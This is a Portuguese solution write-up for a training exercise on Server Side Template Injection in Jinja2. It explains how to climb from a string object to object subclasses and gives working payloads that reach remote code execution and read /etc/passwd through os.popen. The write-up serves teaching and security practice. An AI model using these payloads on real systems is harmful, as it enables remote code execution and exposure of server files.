Solução

Nome Valor
Vulnerabilidade Server Side Template Injection (SSTI)
CWE CWE-1336
OWASP Top Ten A03_2021-Injection

Uma vulnerabilidade de SSTI é quando o usuário consegue injetar instruções para um template que será renderizado no lado do servidor. Como muitas engines de templates são bem poderosas, isso pode permitir que o cliente consiga ler dados sensíveis da aplicação/servidor ou até mesmo execute código no servidor. Quando uma vulnerabilidade resulta na execução remota de código não intencional, ela é uma vulnerabilidade de Remote Code Execution (RCE).

No caso desse exercício, o Jinja2 é a engine utilizada e ele permite a execução de código Python dentro das tags de template. Apesar do código ser executado em um ambiente isolado do restante da aplicação, isso não garante a segurança da execução do código.

Para conseguir explorar esse exercício e obter um RCE, a seguinte lógica deve ser seguida:

  1. Obter acesso a classe de objeto base do Python (object).
  2. Ler a lista de subclasses da classe object disponíveis no ambiente.
  3. Procurar por alguma subclasse que possa ser útil para a execução de código no sistema.
    1. Alternativamente, é útil procurar por uma classe que permita importar módulos.
  4. Usar a classe para executar o código ou importar um módulo que possa ser usado para isso (ex.: o módulo os).

Se a função builtin __import__ estiver disponível, tudo se torna mais simples porque basta usar ela para importar o módulo os e ser feliz. Exemplo:

{
    "content": "{{ __import__('os').popen('cat /etc/passwd'
).read() }}",
    "global_variables": {}
}

Mas infelizmente, provavelmente, não vai ser fácil assim. Então a lógica explicada acima será necessária. Seguindo passo por passo:

  1. Injetar {{ ''.__class__ }} lhe dá acesso a classe str.
  2. A propriedade __mro__ de uma classe pode ser usada para ler a classe de onde ela herda.
    1. Portanto uma das classes em {{ ''.__class__.__mro__ }} é a classe object que precisamos.
  3. O método __subclasses__() de uma classe lista todas as suas subclasses.
    1. Ou seja, {{ ''.__class__.__mro__[1].__subclasses__() }} lista todas as subclasses de object.
  4. Na lista de subclasses, podemos procurar por uma útil para o RCE.
    1. Eu encontrei a <class 'pkgutil.ImpLoader'> (em ambiente Python 3.11) que pode ser usada para importar um módulo dinamicamente, ao estilo __import__().
  5. De resto, basta estudar o código/documentação da classe encontrada para saber como usá-la.

RCE completo:

{
    "content": "{{ ''.__class__.__mro__[1].__subclasses__()[362](
'os', None, 'os', ('', '', 7)).load_module('os').popen('cat /et
c/passwd').read() }}",
    "global_variables": {}
}

É pouco provável que esse payload funcione no seu ambiente, pois ele será diferente.

Crie um ambiente local para executar esse exercício e explorar um RCE.